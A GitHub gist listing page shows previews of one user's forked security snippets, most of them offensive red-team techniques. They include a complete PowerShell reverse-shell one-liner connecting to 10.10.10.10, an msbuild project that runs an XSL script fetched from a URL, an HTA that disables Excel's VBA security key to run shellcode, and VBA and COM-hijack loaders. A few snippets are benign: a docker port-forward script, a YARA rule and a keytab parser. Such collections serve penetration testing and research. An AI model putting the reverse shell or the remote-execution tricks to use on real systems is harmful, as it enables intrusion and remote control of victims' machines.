ashr’s gists

ashr / forward.sh

Created October 1, 2019 10:21 — forked from leonjza/forward.sh

Forward a new host port to a running docker container.

	#!/bin/bash

	# Add a firewall NAT rule to expose a port open in a docker container, on a host.
	#
	# This is only really useful if the container is already running, and you don't
	# want to/can't shut it down, but need a new incoming port open.
	#
	# Requires `jq` for parsing docker container information.
	#
	# 2019 @leonjza

ashr / mscorlib_load_assembly.vba

Created September 30, 2019 19:03 — forked from monoxgas/mscorlib_load_assembly.vba

VBA code for calling Assembly.Load using raw vtable lookups for the IUnknown

	' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

	Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
	Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
	Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

	#If Win64 Then
	Const LS As LongPtr = 8&
	#Else
	Const LS As LongPtr = 4&

ashr / fbmon.c

Created July 22, 2019 06:54 — forked from taviso/fbmon.c

fbmon bug

	#include <stdio.h>
	#include <stdint.h>
	#include <string.h>

	/*
	$ gcc fbmon.c
	$ ./a.out
	* stack smashing detected *: <unknown> terminated
	Aborted (core dumped)

ashr / powershell_reverse_shell.ps1

Created July 6, 2019 08:10 — forked from egre55/powershell_reverse_shell.ps1

powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok

	# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

	$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

ashr / xslt.proj

Created June 9, 2019 16:23

msbuild XSLT Execute From URL

	<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
	<Target Name="Example">
	<ItemGroup>
	<XmlFiles Include="https://gist.githubusercontent.com/caseysmithrc/d6ef2fdffa6c054c6996b0f2fb7dd45d/raw/6ce40c15487d67df6771ff205de5ea8a8c6f29c0/customers.xml" />
	</ItemGroup>
	<PropertyGroup>
	<XslFile>https://gist.githubusercontent.com/caseysmithrc/d6ef2fdffa6c054c6996b0f2fb7dd45d/raw/48abcd2a9575e1e5db25596cbaa02f6066bbe9e2/script.xsl</XslFile>
	</PropertyGroup>
	<XslTransformation
	OutputPaths="output.%(XmlFiles.FileName).html"

ashr / PoC.reg

Last active June 9, 2019 13:57 — forked from homjxi0e/PoC.reg

cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\prncnfg.vbs /?

	Windows Registry Editor Version 5.00

	[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary]
	@=""

	[HKEY_CURRENT_USER\Software\Classes\Scripting.Dictionary\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"


	[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

ashr / iddqd.yar

Created May 14, 2019 13:35 — forked from Neo23x0/iddqd.yar

IDDQD - Godmode YARA Rule

ashr / gethelp.cs

Created May 14, 2019 12:00

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

ashr / CalcExcel.hta

Created April 6, 2019 20:38 — forked from DanielRTeixeira/CalcExcel.hta

Shellcode Execution Via HTA

	<html>
	<head>
	<script>
	var objExcel = new ActiveXObject("Excel.Application");
	objExcel.Visible = false;
	var WshShell = new ActiveXObject("WScript.Shell");
	var Application_Version = objExcel.Version;//Auto-Detect Version
	var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
	WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
	var objWorkbook = objExcel.Workbooks.Add();

ashr / Get-KerberosKeytab.ps1

Created February 15, 2019 13:48 — forked from 0xhexmex/Get-KerberosKeytab.ps1

Parses Kerberos Keytab files

	param(
	[Parameter(Mandatory)]
	[string]$Path
	)

	#Created by [email protected]
	#
	#Got keytab structure from http://www.ioplex.com/utilities/keytab.txt
	#
	# keytab {

ashr ashr